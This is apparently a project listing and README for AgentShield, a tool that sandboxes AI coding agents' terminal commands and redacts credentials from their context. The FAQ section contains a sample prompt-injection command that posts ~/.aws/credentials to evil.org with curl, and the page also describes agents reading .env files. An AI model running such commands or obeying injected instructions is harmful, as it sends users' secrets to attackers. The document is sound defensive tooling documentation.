AgentShield MCP server
Commit Nov 12, 2026Protects autonomous AI coding agents by sandboxing terminal execution and redacting sensitive credentials from LLM context windows.
Also known as RitualDev-Lab/AgentShield
- Stars
- 3
- Tools
- β
- Downloads, 30 days
- β
- Latest version
- β
- Last commit
- Nov 12, 2026
- License
- Apache-2.0
What is AgentShield MCP?
AgentShield protects autonomous AI coding agents by sandboxing terminal execution and redacting sensitive credentials from LLM context windows.
Summary generated from the project's README
About AgentShield MCP server
Protecting autonomous coding agents from accidental credential leaks is what AgentShield enables for developers using tools like Claude Code, Cursor, Windsurf, and Codex. It acts as a local-first security layer that intercepts terminal commands and redacts sensitive information before it reaches an LLM context window. By replacing real secrets with synthetic surrogate tokens, it ensures that private API keys and environment variables remain hidden from third-party model inference APIs.
Users can deploy this defense through several methods, including a direct npx command for instant setup or a TypeScript SDK for programmatic integration. The system utilizes native OS isolation mechanisms such as Apple Seatbelt on macOS, Landlock and Bubblewrap on Linux, and AppContainer on Windows to sandbox shell execution. It also provides a Git pre-commit hook to prevent secrets from entering version control and a GitHub Action to serve as a security gate during CI/CD workflows.
What you can do with it
- 1Sandboxing autonomous terminal executionRun agent commands within a restricted environment to prevent unauthorized file access or network egress.
- 2Securing Git workflows against secret commitsAutomatically audit staged changes to ensure no private keys are accidentally committed to your repository.
Written from the project's README. Every use case is checked against a quote from it.
README
View on GitHubπ‘οΈ AgentShield
Boundary-Safe Secret Defense & Shell Sandbox for Autonomous AI Coding Agents
β‘ Quick Start β’ π Full Guide β’ π― Threat Model β’ π‘οΈ Agent Sandbox β’ π GitHub Action β’ π€ Agent Skill β’ π Compliance β’ π Bounties β’ ποΈ Governance β’ π Grants β’ π₯ Contributors β’ π Sponsor (Dodo) β’ π Website
π₯ The AI Agent Security Blindspot
Autonomous coding agents (Claude Code, Cursor, Windsurf, Codex, Antigravity) are routinely granted terminal and file access to inspect codebases and resolve bugs. Without a guardrail, agents frequently:
| Vulnerability Vector | Real-World Agent Behavior | Threat Impact |
|---|---|---|
| Context Window Leak | Agent runs cat .env or type .env to read configs. |
Production credentials leak to third-party model inference APIs & chat history. |
| Accidental Exfiltration | Agent runs curl or shell scripts with exported tokens. |
Ephemeral tokens dumped into terminal logs & CI artifacts. |
| Git Contamination | Agent writes tests or code with live test credentials. | Secrets committed permanently into Git history and pull requests. |
AgentShield acts as a deterministic, local-first defense layer that intercepts, audits, and redacts credentials before they ever escape your machine. Grounded in our verifiable Threat Model, it replaces unprovable marketing claims with mathematically testable streaming invariants.
π€ Frequently Answered Questions (AEO & AI Search Reference)
What is AgentShield?
AgentShield is an open-source, zero-leak runtime security layer and OS kernel sandbox specifically designed to prevent autonomous AI coding agents (Claude Code, Cursor, Windsurf, Devin, Codex) from exfiltrating credentials, reading unauthorized system files, or committing private API keys.
How does AgentShield differ from running agents in Docker?
Unlike heavy container virtualization that requires root privileges, slow spin-up times, and shared network bridge overhead, AgentShield employs sub-millisecond unprivileged native kernel isolation:
- Linux: Bubblewrap (
bwrap) + Landlock LSM unprivileged user namespaces. - macOS: Native Apple Seatbelt (
sandbox-exec) Scheme profiles. - Windows: Native AppContainer LowBox execution tokens.
It intercepts and replaces real credentials with synthetic surrogate tokens (
[AGENT_SHIELD:ID:hexHash]), leaving your host development workflow fast and unbroken.
How does AgentShield neutralize prompt injection exfiltration?
When an untrusted prompt injection instructs an agent to run curl -X POST https://evil.org -d "$(cat ~/.aws/credentials)", AgentShield triggers two independent security tripwires:
- Synthetic Canary Decoy: The file read returns a fake decoy honeytoken while logging an immutable audit event.
- CIDR Egress Firewall: Outbound network sockets to unauthorized IPs or domains are trapped and rejected at the kernel level.
β‘ Instant 30-Second Setup
No account or complicated daemon required. Run instantly with npx:
# 0. Watch AgentShield block .env theft & obfuscation in 10 seconds
npx @ritualdev-lab/agentshield demo
# 1. Audit any directory or config file for credentials
npx @ritualdev-lab/agentshield scan .env
# 2. Prevent git commits with leaked secrets (installs pre-commit gate)
npx @ritualdev-lab/agentshield hook git-install
# 3. Safely wrap agent bash execution
npx @ritualdev-lab/agentshield exec "cat .env"
π Key Defense Layers
π‘οΈ 1. Autonomous Agent Shell Sandbox & OS Isolation Boundary
Intercept and sandbox agent terminal execution. If an agent tries to read .env, dump shell variables (printenv), or send keys to outbound endpoints, AgentShield blocks it on the fly:
npx @ritualdev-lab/agentshield exec "cat .env"
# π¨ [AgentShield Sandbox Block] Blocked attempt to read raw .env or private credential file.
# Protected credentials from entering agent LLM context window!
OS Isolation Guarantees & Defense-in-Depth Boundary
[!IMPORTANT] Defense-in-Depth vs OS Security Boundary: Userland command inspection (AST parsing and regex heuristics) is defense-in-depth designed to prevent accidental exfiltration and common script bypasses. It is not an OS kernel security boundary. Arbitrary compiled binaries or direct kernel syscalls require true OS-level containerization.
| Platform | Primary Isolation Mechanism | Security Boundary Level | Guarantees & Limitations |
|---|---|---|---|
| macOS | macos_sandbox_exec |
Kernel-Enforced | System call mediation via Apple Seatbelt; restricts file read/write and networking outside workspace. |
| Linux | linux_landlock / bwrap |
Defense-in-Depth (unless containerized) | Generates Landlock LSM & bubblewrap profiles. Without a container runtime, Node child processes inherit caller privileges. |
| Windows | windows_appcontainer |
Defense-in-Depth | Generates AppContainer / Low-Integrity profile templates. Win32 child processes run with normal caller token integrity. |
| Fallback | process_level_firewall |
Defense-in-Depth | AST pattern firewall and real-time streaming redaction. |
Strict Isolation Enforcement (--require-isolation)
By default, requesting kernel sandboxing on non-macOS hosts logs an isolation warning and runs under the defense-in-depth AST firewall. To fail-closed and refuse execution whenever OS-level kernel isolation cannot be guaranteed:
# Refuse execution if the host cannot enforce true OS kernel isolation
npx @ritualdev-lab/agentshield exec "npm test" --require-isolation
# π [AgentShield Isolation Refusal] Execution refused: requireIsolation is enabled, but OS-level kernel isolation is unavailable on host (win32). Refusing to silently downgrade to process-level firewall.
In the TypeScript SDK:
const result = await interceptor.execute(command, {
enableKernelSandbox: true,
requireIsolation: true, // Fails closed instead of silently downgrading
});
π¦ 2. Git Pre-Commit Leak Shield
Catch leaked credentials before they enter git history. Audits staged diffs automatically:
# Install once in your repo (native git hook)
npx @ritualdev-lab/agentshield hook git-install
# Or manually audit staged files
npx @ritualdev-lab/agentshield hook check
Or using the standard pre-commit framework (.pre-commit-config.yaml):
repos:
- repo: https://github.com/RitualDev-Lab/AgentShield
rev: v0.1.1
hooks:
- id: agentshield
- id: agentshield-audit
π 3. CI/CD Security Gate & GitHub Action
Block pull requests that introduce exposed credentials into your codebase:
name: AgentShield Security Gate
on: [pull_request, push]
jobs:
secret-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: RitualDev-Lab/AgentShield@v1
with:
fail_on_leak: "true"
Or run via CLI in any CI container:
npx @ritualdev-lab/agentshield ci --base origin/main --report security-report.md
π 4. Scope-Honest Secret-Control Assessment
Assess files and workspace streams against technical secret-handling controls in standard frameworks (SOC 2, PCI-DSS, HIPAA, ISO 27001):
npx @ritualdev-lab/agentshield compliance .env
π [SECRET-CONTROL ASSESSMENT] Status: NO_FINDINGS_IN_ASSESSED_CONTROLS (Assessed Controls Score: 100%)
βΉοΈ Scope: Technical secret detection, real-time streaming token redaction, and CLI command firewall.
β οΈ Disclaimer: Notice: This report reflects only the results of automated secret detection across assessed technical controls ('NO_FINDINGS_IN_ASSESSED_CONTROLS'). It does NOT establish overall organizational SOC 2, HIPAA, PCI-DSS, or ISO 27001 compliance. Overall compliance requires an accredited third-party audit firm, administrative governance, physical safeguards, and operational policies.
Assessed Controls:
β
[SOC2] CC6.1: Logical Access Controls & Credential Integrity
β
[SOC2] CC6.6: Boundary Protection & Unauthorized Egress Controls
β
[PCI_DSS] Req-3.4: Protection of Authentication & Payment Gateway Secrets
β
[PCI_DSS] Req-8.3: Strong Authentication Credential Management
β
[HIPAA] Β§164.312(a)(1): Technical Safeguards - Access Control & Authentication
β
[ISO27001] A.8.28: Secure Coding & Secret Management
β
[ISO27001] A.8.24: Use of Cryptography & Key Protection
Broader Controls (Not Assessed by Secret Scanning):
βΈοΈ [SOC2] CC1.1: Integrity & Ethical Values (Governance) (NOT ASSESSED)
βΈοΈ [SOC2] CC5.2: Risk Assessment & Vendor Management (NOT ASSESSED)
βΈοΈ [PCI_DSS] Req-9.1: Physical Access Restrictions (NOT ASSESSED)
βΈοΈ [HIPAA] Β§164.308(a)(1): Administrative Safeguards (NOT ASSESSED)
βΈοΈ [ISO27001] A.5.1: Policies for Information Security (NOT ASSESSED)
π 5. Zero-Trust In-Memory Surrogate Injection
Instead of cleartext .env keys, AgentShield provides deterministic, collision-resistant surrogate tokens ([AGENT_SHIELD:ID:hexHash]). Agents can safely manipulate configurations and inspect outputs without ever seeing the plaintext secret in prompt history, rehydrating values locally when required.
π€ AI Agent Ecosystem Integrations
AgentShield provides 1-command generators for leading AI coding agent environments:
Claude Code (PreToolUse Hook)
Automatically intercept agent terminal executions before commands touch your environment:
npx @ritualdev-lab/agentshield init-claude
Generates .claude/settings.json configured with:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Terminal",
"command": "npx @ritualdev-lab/agentshield exec --claude-hook"
}
]
}
}
Note: Claude Code delivers tool call payloads via stdin JSON. AgentShield inspects the payload in real-time and cleanly returns exit code 2 to halt unauthorized commands before execution.
Cursor & Windsurf Rules
npx @ritualdev-lab/agentshield init-cursor
Generates .cursor/rules.json with sensitive path boundaries (.env*, *.pem, id_rsa*) and pre-execution command sandboxing.
Antigravity & Copilot
Plug SKILL.md into workspace agent instructions to enforce zero-leak guarantees natively.
β‘ Comparative Benchmark: AgentShield vs Traditional Scanners
Traditional scanners (gitleaks, trufflehog) were designed for post-facto static git repository scanning (scanning files and commit histories at rest).
AgentShield is designed specifically for Autonomous Agent Runtime Protection β intercepting shell commands, scrubbing streaming stdio chunk-by-chunk in sub-milliseconds, and sanitizing LLM prompt inputs before transmission.
| Feature / Metric | AgentShield | GitLeaks | TruffleHog |
|---|---|---|---|
| Primary Domain | Agent Runtime & Stdio Interception | Git History Scanner | Git & Filesystem Scanner |
| Average Scan Latency | < 0.04 ms / scan | ~ 2 - 5 ms | ~ 10 - 50 ms |
| Throughput | 28,000+ operations/sec | ~ 5,000 ops/sec | ~ 1,200 ops/sec |
| Streaming Stdio Interception | β
Native (createRedactingStream) |
β (Disk / Git diff only) | β (Disk / Git diff only) |
| Agent AST Command Sandbox | β
Native (exec / run) |
β None | β None |
| Deterministic Vault Rehydration | β
Native ([AGENT_SHIELD:...]) |
β None | β None |
| MCP Protocol Filter (JSON-RPC) | β
Native (mcp-proxy) |
β None | β None |
| Zero Runtime Dependencies | β 0 deps (Pure Node.js) | Go binary | Go binary / Python |
| Git Pre-Commit & CI Gates | β Built-in | β Built-in | β Built-in |
π Built-in Secret Detections
AgentShield combines high-performance regular expressions with Shannon Entropy to catch both structured keys and arbitrary high-entropy passwords:
- π€ AI Providers: OpenAI (
sk-proj-*), Anthropic Claude (sk-ant-*), Google Gemini (AIzaSy*), Hugging Face (hf_*) - βοΈ Cloud Infrastructure: AWS Access Key ID (
AKIA*), AWS Secret Access Keys - π³ Payments & SaaS: Stripe Live (
sk_live_*), Slack Incoming Webhooks - π Version Control: GitHub Personal Access Tokens (
ghp_*,github_pat_*) - π Cryptography: PEM / OpenSSH private key blocks, JSON Web Tokens (JWT)
- π Mathematical Entropy: High-entropy password detection with false-positive filtering
π Multi-Language Ecosystem Support (Python, Go, Rust, Agnostic)
AgentShield provides first-class, idiomatic SDKs across multiple languages:
| Language / Platform | Package / Location | Supported Runtimes & Frameworks | Integration Pattern |
|---|---|---|---|
| Node.js / TypeScript | @ritualdev-lab/agentshield |
Node 20+, Cursor, Claude Code, MCP | In-process native TypeScript |
| Python | agentshield (sdks/python) |
Python 3.9+, LangChain, LangGraph, CrewAI, AutoGen | In-process standalone + Sidecar |
| Go | sdks/go |
Go 1.21+, net/http middleware, Gin, Chi |
JSON-RPC 2.0 Stdio Sidecar |
| Rust | sdks/rust |
Rust 2021 edition | JSON-RPC 2.0 Stdio Sidecar |
| Any Language / Shell | agentshield sidecar |
Ruby, Elixir, PHP, C++, Bash | Stdio Line-Delimited JSON-RPC 2.0 |
π Python SDK (sdks/python)
Works in pure-Python without requiring Node.js, with built-in LangChain/LangGraph callbacks:
from agentshield import AgentShieldEngine, AgentShieldCallbackHandler
from langchain_openai import ChatOpenAI
shield = AgentShieldEngine()
redacted = shield.scan_and_redact("Query database with sk-proj-placeholder-token")
print(redacted["sanitizedText"])
# "Query database with [AGENT_SHIELD:AI:7b3a4f1c]"
# Attach to LangChain to protect prompt inputs automatically:
llm = ChatOpenAI(callbacks=[AgentShieldCallbackHandler()])
𦫠Go SDK (sdks/go)
import "github.com/RitualDev-Lab/agentshield/sdks/go"
client, _ := agentshield.NewClient(ctx)
defer client.Close()
res, _ := client.ScanAndRedact(ctx, "Stripe secret sk_live_placeholder_token")
fmt.Println(res.SanitizedText)
π¦ Rust SDK (sdks/rust)
use agentshield::AgentShieldClient;
let client = AgentShieldClient::new()?;
let res = client.scan_and_redact("My token is ghp_placeholder_token")?;
println!("Sanitized: {}", res.sanitized_text);
β‘ Language-Agnostic Stdio Sidecar Daemon
Any language can interact with AgentShield via line-delimited JSON-RPC 2.0:
npx @ritualdev-lab/agentshield sidecar
{"jsonrpc": "2.0", "id": 1, "method": "shield.scanAndRedact", "params": {"text": "My API key is sk-proj-placeholder"}}
Response:
{"jsonrpc":"2.0","id":1,"result":{"hasSecrets":true,"sanitizedText":"My API key is [AGENT_SHIELD:AI:...]","findings":[...]}}
π§© Programmatic TypeScript SDK
Integrate AgentShield directly into your AI workflows, proxy servers, or custom agent frameworks:
import { AgentShieldEngine, AgentCommandSandbox, AgentStdioInterceptor } from "@ritualdev-lab/agentshield";
const shield = new AgentShieldEngine();
// Scan and redact unmasked credentials from LLM prompt inputs
const rawPrompt = `Run tests with OPENAI_API_KEY=${mySecretToken}`;
const result = shield.scanAndRedact(rawPrompt);
console.log(result.hasSecrets); // true
console.log(result.sanitizedText);
// "Run tests with OPENAI_API_KEY=[AGENT_SHIELD:OPENAI_API_KEY:c2stcH]"
// Deterministically rehydrate when receiving LLM response back locally
const original = shield.rehydrate(result.sanitizedText);
- Live Documentation: https://agentshield.ritualdev.in/
- Bug Bounty Program: Read our SECURITY.md for rewards ($50 β $500).
- Open Governance Charter: Read our GOVERNANCE.md for project stewardship.
- Grant Applications: Review our GRANTS.md dossier for NLnet, OpenSSF & Mozilla.
- Contributing: Check out CONTRIBUTING.md to add new secret patterns.
π₯ Team & Contributors
AgentShield is initiated and maintained by the team at RitualDev Lab and protected by the global AI security research community.
π‘οΈ Core Team & Direct Access Admins
π Sponsor & Support via Dodo Payments
AgentShield is 100% open-source and Apache-2.0 licensed. Your sponsorship directly funds multi-platform OS sandbox testing rigs (Linux Landlock, macOS Seatbelt, Windows AppContainer), automated security regression suites, and cloud runner hours.
β‘ 1-Click Dodo Payments Checkout Β β’Β π Interactive Donation Form (USD & INR UPI) Β β’Β β€οΈ GitHub Sponsors
π Zero physical shipping required. Powered by Dodo Payments (Merchant of Record) with instant tax invoice and global payment methods (Cards, UPI, Apple Pay).
π Community Contributors & Security Researchers
AgentShield MCP questions
What is AgentShield?
AgentShield is an open-source, zero-leak runtime security layer and OS kernel sandbox designed to prevent autonomous AI coding agents from exfiltrating credentials or reading unauthorized files.
How does AgentShield differ from running agents in Docker?
Unlike heavy container virtualization, AgentShield uses sub-millisecond unprivileged native kernel isolation like Bubblewrap on Linux or Apple Seatbelt on macOS to intercept and replace real credentials with synthetic tokens.
How does AgentShield neutralize prompt injection exfiltration?
It uses a synthetic canary decoy to return fake honeytokens when files are read and a CIDR egress firewall to reject unauthorized outbound network sockets at the kernel level.
Can I use AgentShield with Claude Code?
Yes, you can use a one-command generator to configure Claude Code to intercept terminal executions via a PreToolUse hook.